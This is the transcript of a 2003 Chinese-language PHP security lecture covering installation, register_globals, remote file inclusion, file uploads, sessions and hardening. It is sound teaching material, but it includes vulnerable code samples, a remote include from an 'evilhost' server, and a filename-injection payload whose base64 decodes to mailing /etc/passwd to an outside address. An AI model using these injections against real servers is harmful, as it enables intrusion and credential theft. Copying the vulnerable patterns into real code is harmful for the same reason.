1 / 14

PHP 簡介與安全問題之探討

PHP 簡介與安全問題之探討. 助教: 林義能 資科系計算機中心 2003.11.27. 大綱. 簡介 安裝步驟 Register_globals 的問題 程式撰寫注意事項 遠端檔案存取 檔案上傳 Session 可能產生的問題 其他注意事項 參考資料. PHP 簡介. Server-side scripting 用來產生動態網頁的語言 和資料庫 (mysql, postgres, etc) 結合 Command-line scripting 用來寫 shell script Client-side GUI applications

oleg
Download Presentation

PHP 簡介與安全問題之探討

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. PHP簡介與安全問題之探討 助教: 林義能 資科系計算機中心 2003.11.27

  2. 大綱 • 簡介 • 安裝步驟 • Register_globals的問題 • 程式撰寫注意事項 • 遠端檔案存取 • 檔案上傳 • Session可能產生的問題 • 其他注意事項 • 參考資料

  3. PHP簡介 • Server-side scripting • 用來產生動態網頁的語言 • 和資料庫(mysql, postgres, etc)結合 • Command-line scripting • 用來寫shell script • Client-side GUI applications • 利用PHP-GTK (version 2 is under development for PHP5) • Based on GTK (最新版為GTK+) • 多平台的開放原始碼的 GUI 工具集

  4. 安裝步驟 (1/2) • [root @test php-4.2.3]# ./configure --prefix=/usr/local/php4   \ >--with-apxs2=/usr/local/apache2/bin/apxs   \ >--with-mysql=/usr/local/mysql   \ >--with-config-file-path=/usr/local/php4 --prefix= 安裝的路徑--with-apxs2:為 Apache2 專用的選項 --with-mysql:For MySQL! --with-config-file-path:php 的設定檔 php.ini 放置的目錄 • 開始編譯與安裝: [root @test php-4.2.3]# make; make install

  5. 安裝步驟 (2/2) • 轉存 PHP 基本組態檔案: [root @test php-4.2.3]# cp php.ini-dist /usr/local/php4/php.ini  和 “--with-config-file-path” 設定有關 • 將 php.ini 裡register_global設成on (視情況而定,之後會再說明) • 啟動 Apache 當中的 PHP 選項: [root @test php-4.2.3]# vi /usr/local/apache2/conf/httpd.conf 確認可以找到底下兩行:LoadModule php4_module modules/libphp4.so    AddType application/x-httpd-php .php .phtml • 重新啟動 Apache : [root @test php-4.2.3]# /usr/local/apache2/bin/apachectl stop [root @test php-4.2.3]# /usr/local/apache2/bin/apachectl • (注意: 不要用”restart”的選項)

  6. 伺服器設定注意事項 (1/2) 範例一: <?php if ($pass == "hello") $auth = 1; ... if ($auth == 1) echo "some important information"; ?> • Register_globals參數之設定 • 原因 • 經Web傳送的變數其namespace跟 普通的變數相同 • 駭客可能會嘗試設定一些變數的值, 而因此取得權限 • 範例說明: • 解決方法 • PHP4.2.0以後的版本default設為”off” • 可能需要修改之前的程式(見範例二) • 如果使用者不想修改的話,可以利用 .htaccess (但server必須設定 AllowOverride) php_flag register_globals On php_flag track_vars Off 範例二: 使用者端 <input type=text name="ta_name"> 伺服器端 <? $strq = "select passwd from ta_list where name='$ta_name'"; ?> 改成 $_REQUEST[ta_name]

  7. 伺服器設定注意事項 (2/2) • 假如一定要將register_globals設成”on” • 例如修改範圍太廣,工程浩大 • 解決方法 • 不要使用由client端傳來的值 • 利用HTTP_GET_VARS、 HTTP_POST_VARS, HTTP_COOKIE_VARS, 和 HTTP_POST_FILES等變數以確定資料來源正確

  8. 遠端檔案存取 • 使php程式可以讀取遠端的檔案 • 範例 • 危險在哪裡? • 駭客在自己的電腦上開啟一個同名的檔案,內容如下 • 將$libdir設為”http://<evilhost>/” <?php include($libdir . "/languages.php"); ?> <?php passthru("/bin/ls /etc"); ?>

  9. 檔案上傳 (1/2) • 檔案上傳功能隱藏之危險 • 範例 • 假設可讓使用者上傳檔案,然後再將檔案加以壓縮,並儲存到特定的目錄 if (isset($_FILES['file'])) { $tmp_name = $_FILES['file']['tmp_name']; $cmp_name = dirname($_FILES['file']['tmp_name']) . "/{$_FILES['file']['name']}.zip"; $filename = basename($cmp_name); if (file_exists($tmp_name)) { $systemcall = "$zip $cmp_name $tmp_name"; $output = `$systemcall`; …

  10. 檔案上傳 (2/2) [user@localhost]# touch ";php -r '\$code=base64_decode(\\ \"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\\\"); system(\$code);';" • 使用者自己touch一個檔案 • 紅色部分所代表的意義 • 上傳檔案之後實際發生之結果 <?php $code=base64_decode( \"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\"); system($code); ?> $code的內容究竟為何? [user@localhost]# /usr/bin/zip /tmp/ ; [user@localhost]# php -r '$code=base64_decode( \"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\"); system($code);' [user@localhost]# .zip /tmp/phpY4iatI

  11. Session的問題 set_session.php <?php session_destroy(); // Kill any data currently in the session $session_auth = “shaun"; session_register("session_auth"); // Register $session_auth as a session variable ?> check.php <?php if (!empty($session_auth)) //Grant access to site here ?> • 有問題的情況 • Session變數可能會被改變 • 必須在變數註冊之前改變其值

  12. 其他注意事項 (1/2) • 妥善放置重要資料 • 放在web server request存取不到的地方(即document tree以外) • 利用include或require來存取 • For example: connect.ini • 檔案上傳 • 檢查檔名是否有問題 • 考慮將上傳功能disable掉(php.ini: file_uploads = Off) • 盡量不要用session • Session會將資料儲存成暫存檔,因而會有被存取的可能 • 特別是multi-hosted的系統

  13. 其他注意事項 (2/2) • 設定 error reporting level • Error, warning, notice等等 • error_reporting = E_ERROR | E_CORE_ERROR | E_COMPILE_ERROR | E_USER_ERROR • Dafult只有E_NOTICE不會log • 設定safe_mode • 限制可被執行的指令(by “exec()”等等) • Disable檔案上傳的功能 • 設定allow_url_fopen • 限制遠端檔案存取的功能 • 建議設為off • 更新版本

  14. 參考資料 [1] PHP Homepage, http://www.php.net/ [2] Secure Programming for Linux and Unix HOWTO. [3] Shaun Clowes, “Exploiting Common Vulnerabilities in PHP Applications,” Blackhat Briefings Asia 2001. [4] John Coggeshall, “PHP Security, Part 2,” Aug. 2003,http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html

More Related